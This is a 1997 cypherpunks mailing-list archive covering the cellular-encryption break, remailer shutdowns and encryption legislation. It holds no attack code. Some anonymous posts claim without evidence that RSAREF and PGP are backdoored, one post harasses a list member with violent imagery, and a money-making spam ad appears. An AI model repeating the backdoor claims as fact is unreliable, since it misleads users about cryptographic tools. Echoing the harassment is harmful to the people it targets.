MIME-Version: 1.0
Content-Type: text/plain


(Bruce Schneier's rebuttal of this follows)

TITLE:	CTIA: Encryption of Digital Wireless Phones
SOURCE:	PR Newswire
DATE:	3/20/97 12:10 PM


                 CTIA:  Encryption of Digital Wireless Phones

    Today, a group of professional and academic cryptographers will announce
that it has "discovered a flaw in the privacy protection used in today's most
advanced digital cellular phones."  Following is a set of questions and
answers that arise from that announcement.

    Q.  Does this mean that eavesdroppers can listen in on my phone calls?
    A.  No.  The encryption discussed by the researchers involves the
algorithm used to encrypt numbers punched on the keypad of a phone, not the
algorithm used to encrypt voice transmissions.

    Q.  Is it easy to break this keypad number code?
    A.  Not at this time.  It involves very sophisticated cryptological
knowledge.  The digital encryption system now in use is designed to inhibit
interception by the unsophisticated.  Any technology developed by one person
can be broken by another with the application of sufficient technology.  This
announced attack requires multiple minutes -- up to hours -- of high speed
computer processing to break a coded message.

    0.  What is the impact of this announcement on people who now use
wireless phones?
    A.  Virtually none.  Approximately 95 percent of the wireless phones now
being used are analog phones, not digital phones.  The possible impact of this
announcement is only relevant to some digital phones that are now being
introduced to the market.

    Q.  Why didn't the wireless phone industry develop phones that have
unbreakable security?
    A.  Standards for phone technology are developed within the confines of
federal regulations and the realities of the marketplace.  A wireless phone is
a consumer product, not a spy v. spy technology adequate for national
security.  Such a unit would have cost, battery life and call set-up times
which would make it unacceptable to consumers.

    0.  Does this announcement have any impact on the industry's efforts to
stop phone cloning?
    A.  No. During the past year, the industry has been very successful in
introducing new technologies that prevent phone cloning.  These authentication
and "fingerprinting" technologies operate differently and are not compromised
by the cryptography announced today.

    Q.  What is the industry doing about this problem?
    A.  Tom Wheeler, the president and CEO of CTIA, testified before Congress
on February 5, about the need to strengthen the laws protecting the security
of wireless phone calls.  It is currently illegal to intentionally intercept a
wireless phone call.  Unfortunately, whereas federal law prohibits the sale
and manufacture of devices designed to eavesdrop on wireless calls, it does
not extend the prohibition to cordless phones and the newer digital
frequencies.  In regard to today's announcement, Wheeler said, "This is the
horse nudging at the barn door and it is time to act before the horse is gone
completely."

    CTIA is the international association for the wireless telecommunication
industry.  It represents more PCS and cellular carriers than any other
association in the world.
    INTERNET USERS.  News about the wireless telecommunications industry is
updated several times each day on CTIA's World Wide Web site
(http://www.wow-com.com).  CTIA news releases and other information also are
available an WOW-COM.

    NOTE:  The cryptography researchers are Bruce Schneier, Counterpane
Systems, 612-823-1098; Robert Sanders, University of California, Berkeley,
510-643-6998; David Wagner, University of California, Berkeley, 510-643-9435;
and Lori Sinton, Jump Start Communications, 415-938-2234.

    CONTACT:  For more information, please contact Tim Ayers, 202-736-3203, or
Jeffrey Nelson, 202-736-3207, both of CTIA.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Mar 1997 18:40:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Schneier Rebuts CTIA
Message-ID: <1.5.4.32.19970321023316.006e2b80@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


(Thanks to DAW for the CTIA and Schneier forwards)

Here's Bruce Schneier's press release rebutting the CTIA's assertions.

Forwarded message:

MINNEAPOLIS -- The Cellular Telecommunications Industry Association (CTIA)
issued a press release discussing our recent cryptographic break against
digital cellular phones.  Following is a correction of some of their
mis-statements.

1.  While it is true that our paper did not discuss voice encryption, that
does not mean that the voice encryption system is any good.  As early as
1992 others -- including noted expert Whitfield Diffie -- have pointed out
fatal flaws in the new standard's voice privacy features.  The underlying
technology is the Vegienere cipher, broken by the Union Army during the
American Civil War.  One cryptographer was quoted in the July 1992
Communications of the ACM calling the voice privacy protection "pitifully
easy to break."  Certainly digital cellular is harder to eavesdrop on than
analog cellular--the latter just requires a scanner tuned to the correct
frequencies--digital cellular voice security can be broken in real time by
anyone with a little bit of budget, expertise, and desire.

2.  While our break did involve sophisticated cryptographic expertise, our
results have been published.  While we have no intention of publishing our
computer code, anyone able to understand our paper can implement our
attack.  It is not true that "any technology developed by one person can be
broken by another with the application of sufficient technology."  The
Telecommunications Industry Association (TIA) could have designed secure
algorithms to protect voice and messages; they chose not to.

3.  While it is true that our announcement does not affect most people
because they use analog phones, that is a misleading statement.  Analog
phones are even less secure; the whole point of digital cellular was that
it was secure.  This announcement affects both CDMA and TDMA cellular
systems, but not GSM systems.

4.  The phone industry did not develop phones with unbreakable security
because they chose not to.  It is possible, with today's technology, to
implement digital cellular algorithms in cellular phones without affecting
the phone's weight, power consumption, voice quality, or call setup.  It
takes more computer processing power to digitize the voice than it does to
encrypt the digital voice.

5.  It is true that our attack does not affect phone cloning.  The TIA put
more effort into preventing cellular fraud, because that directly affects
their bottom line.  Cellular privacy is much less of a concern, so they
didn't bother doing a good job.

6.  All the industry seems to be doing about this problem is releasing
misleading press releases in an attempt to pretend that nothing is wrong.

One moral of this story is that good security standards need to be
developed in the open.  The CTIA believed that keeping the details of their
security measures secret improved the security of the system.  This notion
works, as long as the details remain secret.  All good security systems are
designed to remain secure even if their details are made public.  To do
otherwise is naive and foolish, similar to creating recipes without ever
bothering to let anyone taste the food.

The CTIA also pointed to the need for legislation to make this illegal.
While important, this is not a solution.  Listening in on analog cellular
phones is illegal, but people do it all the time.  Stealing cars is
illegal, but Lojack is still in business.  We need to protect ourselves
with technology, not with legislation.  Laws are a quick fix for an
industry unwilling to devote resources to solving their problems.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 20 Mar 1997 21:41:38 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: PGP Security
Message-ID: <3.0.32.19970320212654.00797a30@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:38 PM 3/20/97 -0500, Mark M. wrote:

>The fundamental problem with the current remailer network, as others have
>noted before, is that it is a free service open to abuse by anyone.  If
>remailers were commercialized, this would eliminate the spam problem and
would
>provide the remailer operator with resources to legally defend him or
herself.

I don't think remailers get nearly enough traffic (at the moment, anyway)
to fund a meaningful defense, civil or criminal. It takes a lot of messages
at $.25 or $.10 each to come up with $10K or $20K. It's been ~ 2 years now
since my remailer went down, but at that time traffic was pretty low.

Also, charging for remailing is likely to alter the legal arguments
available to a remailer operator hoping to avoid liability for traffic - in
particular, I think it's likely to be a factor which argues in favor of
finding contributory or vicarious liability for copyright infringement,
since the remailer operator gains income through facilitating the
infringement.

Charging for messages will also change the availability of services like
Raph's remailer stats - even a miniscule cost becomes significant if you're
incurring it once per hour per remailer. It's a solution to the "spam"
problem - perhaps the only solution - but it's got other consequences, too. 

>Consider the fact that Cyberpromo has managed to find an upstream provider
>willing to provide connectivity to them, even though they are almost
>universally hated by net users.  They have been able to exist because there
>is a commercial interest.

I don't think a remailer will be able to come up with the kind of money
that Cyberpromo has. If Cyberpromo were a $10/month shell account or a
$20/month PPP account, they'd have been history months ago. 

>The obvious solution to this would be to run remailers in more civilized
countries.

I agree, especially if you define "more civilized" to mean "has an
underdeveloped or underutilized legal system". :)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 20 Mar 1997 22:37:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: huge test
Message-ID: <199703210637.WAA19490@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


1 Additional
2 Add

##
3 Add
##
4 Add

Stuff at bottom




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 20 Mar 1997 22:00:43 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [CRYPTO] PRNG
In-Reply-To: <199703202343.SAA14458@dhp.com>
Message-ID: <Pine.A41.3.95.970320225741.114282A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 20 Mar 1997, lucifer Anonymous Remailer wrote:
Vulis still sick.

> Timmy May, a product of anal birth, appeared 
> with a coathanger through his head.
> 
>     o      o o o   o
>    /~>    <><><>   <> Timmy May
> o...(\    ||||||   ||
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pete Loshin <pete@loshin.com>
Date: Thu, 20 Mar 1997 20:16:33 -0800 (PST)
To: Vin McLellan <rah@shipwright.com>
Subject: Re: ONK?: SANS Network Security Digest?
Message-ID: <3.0.32.19970320214022.00874db0@pop.tiac.net>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for the information.  I basically just wanted someone involved (or
someone who knows someone involved) to say, yes, this thing is real.

How come they don't sign it?  If I were a sysadmin subscriber, I'd probably
be inclined to want to be able to certify the contents got to me intact.

regards,
-pl

At 05:40 PM 3/20/97 -0500, Vin McLellan wrote:
[stuff deleted]
>The SANS Network Security Digest is published via email approximately
>eight times per year.  It's purpose is to help busy sysadmins and
>security professionals gain confidence that they are aware of the
>important security vulnerabilities and what can be done to resolve them.
[more stuff deleted]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 20 Mar 1997 20:32:59 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: PGP Security
In-Reply-To: <199703210116.TAA12097@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970320231526.945A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 20 Mar 1997, Igor Chudov @ home wrote:

> This is mostly addressed to jimbell: jim, it is now obvious that
> the remailer network is as weak as a 5 year old child. It cannot
> possibly withstand even mildest forms of "abuse".
> 
> Due to this fact, I question the viability of your assassination 
> politics idea as it does not seem possible to safely operate an
> assassination bot.

The fundamental problem with the current remailer network, as others have
noted before, is that it is a free service open to abuse by anyone.  If
remailers were commercialized, this would eliminate the spam problem and would
provide the remailer operator with resources to legally defend him or herself.
Currently, there is no modivation for an operator to continue the service when
legally threatened.

(As an interesting sidenote, a few hours ago John Perry announced on r-ops
that due to an FBI investigation into the use of his remailer to mail threats
to some apparently influential person, he has shut down the jpunix remailer.)

Consider the fact that Cyberpromo has managed to find an upstream provider
willing to provide connectivity to them, even though they are almost
universally hated by net users.  They have been able to exist because there
is a commercial interest.  I do not doubt that the same would be true for
remailers if they were commercialized.  The only thing that could shut
remailers down would be either legislation or seizing the computers on which
the remailers run as "evidence."  The obvious solution to this would be to run
remailers in more civilized countries.


Mark


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzIQwSzIPc7jvyFpAQEQ9gf/aUCNWXtqAZlM2Qi8peAxR1UFfnhdyiBp
eRbl6Rajy7dmf5Kuy7rRj2eLrRQFS/MBp/404urtZm7rUo70T6G2e5O+qae9VDBC
FAH8DIDSRffH47jB9xcY/14rwFo7/IG2Kd4l/jmP7SyClCwP/CU1a3+yASFVJFw3
9A8S2sKjJevyXjMLFFBWCuo3ZPVKFJfmxV9yCmNWREXjW4moKtgNGHL7tgGQrev3
LtTGBCeVmSI5WCJsEn6EOVzLHFSx7kndfXLfULIHwPRIbHQuEv1qNGZu3dj8CJ4G
HxDw4gU3ZDGANQ+5VveB6yddiivU1bjAXXhiOskLnZsSz1V6y8KwTA==
=LyRp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 20 Mar 1997 23:42:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Visits JPUNIX
Message-ID: <199703210742.XAA21100@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


  In regard to an email which was purported to be subjected to
suppression Anonymous wrote:
>   The first time it was sent via a remailer, it was bounced for ill-
> defined reasons. The second time it was sent, the remailer was shut
> down, and remains shut down.

Mark M. wrote:
> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
> the following message which originated from "TruthMonger."  Shortly after I
> received the message, anon.nymserver.com closed down all of its free,
> anonymous accounts due to "abuse."

  Anonymous continued:
>   Efforts to send it through a second remailer also failed, with no
> notice from the server of any problems being received. Other email
> sent through the remailer at the same time encountered no difficulties.

Later the same day John Perry wrote:
>         Due to an FBI investigation that was opened recently naming
> myself and jpunix as suspects, I have decided that the heat taken by
> remailer operators due to those individuals that can't control
> themselves has become unacceptable. 

  The message in question is below. Draw your own conclusions.

XXXXXXXXX,
 I thought I would reply privately to you, since you seem to
at least have a willingness to allow the possibility of compromises
to the security of the encryption methodologies behind PGP programs,
among others.

  To begin with, I'm not sure whether you realize it, or not, but the
Navy's spook tenacles run deeper, and extend further, than those of any
of the more notable or visibly involved agencies who lurk in the
background of security and privacy issues.
  One of the reasons for this is that their physical existence could be
said to mirror the Internet in many respects. The very nature of their
'global' home (the sea), has always permitted them access to people and
regions which are denied to others. Also, they are often in the position
to be involved in what looks to be merely the 'transporting' of people
and information.
  Whether providing escort services or getting drunk in foreign bars,
the expertise of naval intelligence has always lain in the area of
observation, first and foremost.

  By far the greatest tool of intelligence agencies on the Internet,
has been traffic analysis. Their techniques are sufficiently sophist-
icated that I would not be surprised to find out that they can tell
more about us from our Internet activity than can be learned from the
satellites capable of reading the newspaper over our shoulder as we
sit in the park.
  Traffic analysis involves all measurable quantum of information, the
chief concerns being the patterns and timing of data transfer, from
which everything ranging from content and motivation can be deduced.

  If you wish to think in terms of back-doors, then you would be well
advised to go beyond the concepts of 'passwords' and 'holes' and try
to think in terms of patterns and timing, and other such 'structures'
which are peripheral to concerns regarding 'code' and 'mathematics.'
  i.e. As well as considering the 'content' of what a program returned,
you must also consider 'when' the program returned the result, and
the patterns in the timing, as well as the content.
  An analogy could be made to a person who, being interrogated, answers
all questions with a predictable rhythm and then 'pauses,' however
slightly, in answering a certain question. You can see that what is
revealed by the 'content' of the answer can be greatly insignificant
compared to what is revealed by the 'delay' in answering.

  To expand your concept of 'back-doors' and 'holes,' you have to ask
questions such as:
  "Does it take a program or hardware longer to return a result of '0',
than to return a result of '1'?"
  "What factors can be introduced into the hardware and/or software
that can influence the patterns and/or timing of various processes
and the results they return?"
  "Can key searches be made more efficient by analyzing such things
as rhythm, syntax, etc? What 'details' or 'qualities' of an individual,
group, or 'arena of concern' can be analyzed for the purpose of being
able to group them into structures which can be searched for?"
  "How can 'assigning' a value to certain sequences of numbers be used
as a pattern to 'filter' the input data into a form which is easier to
analyze?"

  You are aware of 'tricks and techniques' that apply to mathematics
and are widely known.
  i.e. The process of shifting and adding numbers when multiplying by
the number '11'.
  However, what about those quantum of information which are of no
consequence to those seeking for the 'final result' of that multi-
plication? Can the peripheral effects of mathematic calculations
be used to analyze what has taken place, to narrow the scope of
inquiry?
  My nephew describes numbers as getting 'wider' as they get larger,
and he does quick checks of his result through his 'feel' for how
much 'wider' a number should be when he is done, even in complicated
equations which he ill-understands.
  (He reminds me of Steven Wright, who claims that someone told him
that his socks didn't match, and he replied, "Sure, they do. I go
by thickness.")

  I am currently working on a project which involves merging chaos
theory with traffic analysis and other processes to analyze the
effects that algorithms display when processed through the filters
of varying hardware and software structures and methodologies.
  The RSA algorithm and accompanying RSAREF subroutines were our
first focus, for the very reason that there were certain factions
behind the scenes of the Zimmerman/RSA agreement who seemed to
have an inordinate amount of interest in the subroutines being
chained to the algorithm (for reasons that have nothing to do
with patent protection).

  Those whose expertise goes far beyond my own in this area look at
the initial results of the analysis as confirming that their is a
'relationship' between the RSA algorithm and the RSAREF subroutines
which will enable them to break the system down into workable
units for fairly quick analysis.
  What is interesting is that the results from small probes into
other encryption systems show the same potential for exploitation
using varying analysis methodologies and processes.
  (One fairly well-known encryption routine is almost lame enough
to reveal its secrets to anyone with a pencil and a stopwatch, as
well as the file size and time it takes to encrypt.)

  While I would rather you didn't publicize the preceding information,
as a general rule, I think that is something that should be shared with
anyone who is seriously focusing their efforts on better methods of
encryption and analysis of encryption methodologies.
  I am aware of two other groups who are working along the same lines,
although with a narrower range of variables than ourselves, and I am
certain that there must be more than a few other entities out there
who are also pursuing this line of research.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 20 Mar 1997 22:02:38 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <s8VT4D2w165w@bwalk.dm.com>
Message-ID: <199703210624.AAA00738@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Vulis wrote:
> Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
> fail to train them), then the offsprings won't reproduce and the parent's
> genes won't perpetuate.  Do we really need a more coersive system of
> punishing "child abuse"?

	We don't (yet) live in the "hobbsian wild". Children do what they are 
taught. If the are taught to react to the slightest provocation with violence,
then they will, when they grow up (notice I didn't say mature), react similarly.
If we wish to live in a society of reasonable people, our children need to 
be raised respond reasonably to provocation. This means get violent when, and
only when necessary. 

	So, yes. I would say we need a fairly coersive system for punishing 
child abuse. We also need a clear defination of what child abuse really is.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: save@bellsouth.net
Date: Thu, 20 Mar 1997 22:13:29 -0800 (PST)
Subject: Make "$9,780" and more !!
Message-ID: <199703210609.BAA14483@mail.bna.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


You have Nothing to lose!

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YOU:  yes.
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YOU:  who would'nt?
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YOU:  really? what is it about?

ME:  "I own a SOFTWARE PROGRAM that explains the business.
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YOU:  are you going to tell me what it is all about?
ME:  "That is not the way I work, the answers are in the 
      program. Do you want the business package and software?"
YOU:  I have nothing to lose! If people are making
      that kind of money... I HAVE TO TAKE A LOOK!


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         payable to: Vision Unlimited
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-------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@MediaFilter.org (MediaFilter)
Date: Thu, 20 Mar 1997 22:45:46 -0800 (PST)
To: eon@black.hole
Subject: PGP Media Sues NSI To Open the Domain Name Registration Market
Message-ID: <1353214228-802615@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain



   PRESS RELEASE PGP Media, Inc.

New York, New York March 20, 1997

  PGP Media Sues To Open the
Domain Name Registration Market

PGP Media, Inc., d/b/a   name.space(tm)
(http://namespace.pgpmedia.com)  ("PGP"),
announces  that  it has commenced an action in
Federal Court in New York City against Network
Solutions, Inc. ("NSI"), seeking, among other
things, to open access to the domain name
registration market to allow open, unrestricted
competition for the offering of Domain Name
registration under potentially limitless Shared
Top Level Domains.   PGP believes that the
Internet has long since become a vibrant and
maturing market in which certain de facto
monopolists, operating for profit, have been
allowed to flout the laws of the United States
and other countries which are expressly aimed at
preventing such conduct.  A copy of the
Complaint in that action is now available on
the name.space(tm) web page referred to above.

          With the commencement  of  this  case,
 PGP  is  now accepting registrations of domain
names under an expansive list of Shared TLDs.
An initial registration under a TLD listed on
the name.space(tm) web page may be made  for $10.
When,  as a result of the lawsuit or otherwise,
the names registered become universally
resolvable  and the PGP Name Servers become
"root," an additional charge of $15 will be
imposed to fully register the name for the first
full year of use following such universal
resolvability.   PGP intends to charge a $25
renewal fee for each subsequent year of use of
names registered through its registry.   In
addition, PGP iS also accepting suggestions for
additional Shared TLDs to be added to the PGP
Registry.  The fee which will be charged for
such additional Shared TLDs has not yet been
determined.
          For additional information regarding
the lawsuit or to receive regular updates,
please contact mjd@pgpmedia.com.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 01:07:11 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <33324FA1.2474@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote, in blood:
> on or about 970313:1533 TruthMonger <an7575@anon.nymserver.com> said:

> +  To reiterate my original observations:
> +1. The development of RSA was funded and controlled by the spooks. i.e.
> +- The National Science Foundation and the Navy.
> +2. The campaign of persecution against Phil Zimmerman ground to a halt
> +once he agreed to PGP using the spook-developed RSAREF subroutines to
> +implement the RSA functions, instead of PGP's original subroutines.
 
>     about a year ago when Phil's prosecution was dropped, I wrote a
>     rather lengthy message here about PKZ, the prosecution turning to
>     vapour, surprise funding for PGP, Inc. (which is substantial), and
>     the issue of being compromised.

  What I found interesting about TruthMonger's missive was that the
replies he received as a result of merely 'questioning' certain things
regarding the holy icon of PGP, he got back replies/rants, from normally
rational list subscribers, which were scathing rebukes to issues he or
she hadn't even raised.
  I wonder if you had a similar experience with the post you mention.
 
 
>     ANYONE who has managed to walk away from a fed hate/hatchet job has
>     been compromised to some extent.

  No shit, Sherlock.
 
> +  If people with guns came to me and told me that software I had
> +written now had to use their subroutines, instead of my own, then I
> +would consider my software 'compromised', regardless of whether or not
> +I could immediately discern any anomalies in it.
> +  It is far, far easier to 'build' a back-door, than to 'find' one.
> 
>     you got that one right!
>     just the ability to _backtrack_ into the algorithms is a start.
>     One piece of clear text and you're toast.

  You can't tell me the guy who designed the Rubik cube didn't know
how to 'beat' it when he was done.
 
> +  It never fails to amaze me how the back-doors that software makers
> +intentionally build into their products for their own convenience
> +suddenly become 'bugs' when hackers, among others, take advantage of
> +them.
> +  One hacker I know used to find most of his hacks into AT&T UNIX by
> +screwing up his system (i.e. - corrupting the passwd file) and then
> +calling in the AT&T support techs and observing their tricks and
> +techniques (and then improving on them).
> 
>     ...ask a few of the old line unix hacks at Murray Hill (where I was
>     "granted" my name....)   however, AT&T was never as bad as a few of
>     the others (Sperry comes to mind...) and most of AT&T's access
>     points were not open and exploitable without you enabling them (by
>     giving them access).

  I know a hacker who could get Support Techies to perform all of their
secret black-magic in front of him just because he had the abilty to
act extremely stupid. (If he asked you the time of day, you'd write it
down for him, and explain it to him.)
 
>     however, 20 years ago, the feds were scary enough with "new"
>     crypto; 4 AM rousts that noone believed the feds would do.
>     warrants? yeah, right! If the feds arrested you, you were
>     "obviously" guilty or they would not have arrested you.

  I think we can expect the day to come when the Feds make their major
public relations tune "If you don't have anything to 'hide', then why
do you need crypto?", thus pointing out to 'decent folk' that the
CypherPunks are all drug smuggling, tax-dodging pedophiles.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Fri, 21 Mar 1997 00:16:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypt_1.html
Message-ID: <199703210817.DAA00583@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
     [World Book 1997 Multimedia Encyclopedia. Built upon the questions
                            kids ask most. IBM]
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: U.S. Bill To Ban Internet Gambling Introduced
   Next Story: Rational Unveils Software With Microsoft
     _________________________________________________________________
                                      
   Thursday March 20 2:56 PM EST 
   
Clinton Admin. To Offer Encryption Bill Shortly

   WASHINGTON - The Clinton administration plans to introduce legislation
   soon that would clearly affirm that encryption users in this country
   are free to use any type or strength of encryption technology, a
   senior administration official said.
   
   Currently, no such explicit law is on the books.
   
   Under Secretary of Commerce William Reinsch also told a Senate
   Commerce Committee hearing the bill would explicitly state that
   participation in so-called "key management infrastructure" would be
   voluntary. Key refers to the password or software "key" that can read
   encrypted information.
   
   The bill also would:
   
   -- Spell out the legal conditions for the release of "recovery
   information" to law enforcement officials. The bill also provides
   legal safeguards for third-party "key recovery agents" who have
   properly released such information.
   
   -- Criminalizes the misuse of keys and the use of encryption to
   further a crime.
   
   -- Offers, on a voluntary basis, firms that are in the business of
   providing public cryptography keys the opportunity to obtain
   government recognition. Such recognition, Reinsch said, would allow
   firms to "market the trustworthiness implied by government approval.
   
   The testimony came in a hearing on two bills introduced by Senate
   lawmakers that would remove almost all export curbs on encryption
   technology.
   
   The administration's newest export policy, enacted through executive
   order in November and in effect since January 1, allows export of
   stronger encryption than previously allowed.
   
   But it requires companies to incorporate features within two years
   allowing the government to crack the codes by getting access to the
   software keys.
   
   Administration officials said they opposed the export provisions in
   the two Senate bills, saying that the export liberalization goes too
   far.
   
   The bills were offered by Sens. Patrick Leahy (D-Vt.) and Conrad Burns
   (R-Montana).
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
                                      
     _________________________________________________________________
                                      
   Previous Story: U.S. Bill To Ban Internet Gambling Introduced
   Next Story: Rational Unveils Software With Microsoft
     _________________________________________________________________
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
                              Reuters Limited
                                      
   
   
    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Fri, 21 Mar 1997 00:17:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: gambling_1.html
Message-ID: <199703210818.DAA00587@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                                 [IBM DB2]
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: Wired Summit Newsroom Echoes To Click Of Mice
   Next Story: Clinton Admin. To Offer Encryption Bill Shortly
     _________________________________________________________________
                                      
   Thursday March 20 2:57 PM EST 
   
U.S. Bill To Ban Internet Gambling Introduced

   WASHINGTON - A bill to ban all forms of gambling on the Internet has
   been introduced in the U.S. Senate.
   
   "Given the tremendous potential for abuse, addiction and access by
   minors, online gambling should be prohibited," Sen. Jon Kyl, an
   Arizona Republican, said. He was joined by two other Republicans and
   three Democrats in offering the bill.
   
   Currently, only computer gambling on sports events is prohibited. The
   legislation would extend criminal penalties to companies who offer all
   types of computer gambling.
   
   Communications companies regulated by the U.S. Federal Communications
   Commission would be required to discontinue services to any companies
   they carry that offer gambling.
   
   Kyl said the bill also eliminates ambiguity about the definition of
   bets and wagers to make any form of online betting illegal.
   
   The bill was introduced on the same day as the U.S. Supreme Court
   heard arguments about a 1996 law banning transmission of sexually
   explicit material on the Internet to anyone younger than 18.
   
   The Clinton administration argued that the law should be upheld to
   protect young children. Opponents said it violated free-speech rights
   of adult Internet users and should be found unconstitutional. A
   decision in the case is due by July.
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
                                      
     _________________________________________________________________
                                      
   Previous Story: Wired Summit Newsroom Echoes To Click Of Mice
   Next Story: Clinton Admin. To Offer Encryption Bill Shortly
     _________________________________________________________________
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
                              Reuters Limited
                                      
   
   
    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 21 Mar 1997 00:16:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP Security
Message-ID: <TCPSMTP.17.3.21.3.23.38.2780269260.1579314@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:markm@voicenet.com to Harka <=-

 In> The fundamental problem with the current remailer network, as others
 In> have noted before, is that it is a free service open to abuse by
 In> anyone.  If remailers were commercialized, this would eliminate the
 In> spam problem and would provide the remailer operator with resources to
 In> legally defend him or herself. Currently, there is no modivation for an
 In> operator to continue the service when legally threatened.

Personally I believe, that the fundamental problem with remailers
is, that there are simply too few of them. If there were a few
hundred or even thousand around the world, it would be much harder
to crack down on the R-network and the individuals, who run the
remailers.

In need is a remailer program, that even not so technical people
could easily run from their common Windoze machine. Jgrasty's
winsock remailer is a good step in the right direction (although it
didn't work for me personally).

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzJEKTltEBIEF0MBAQGgfwf/QePG5nHUjZajUjmskX/CwW+WSvMcDE13
+EiILayy/lE4WQQeGCK8Q0/gcmVqTNtvug3gSRYyUqmadDgzfAlpFg4Vn5pv3I1Z
Spf8WNiRpQ1EhHIXPaW4zwMRvAAeySQG/WMmRFzzYWSb2MydlHy3e/XhDy8OtBe3
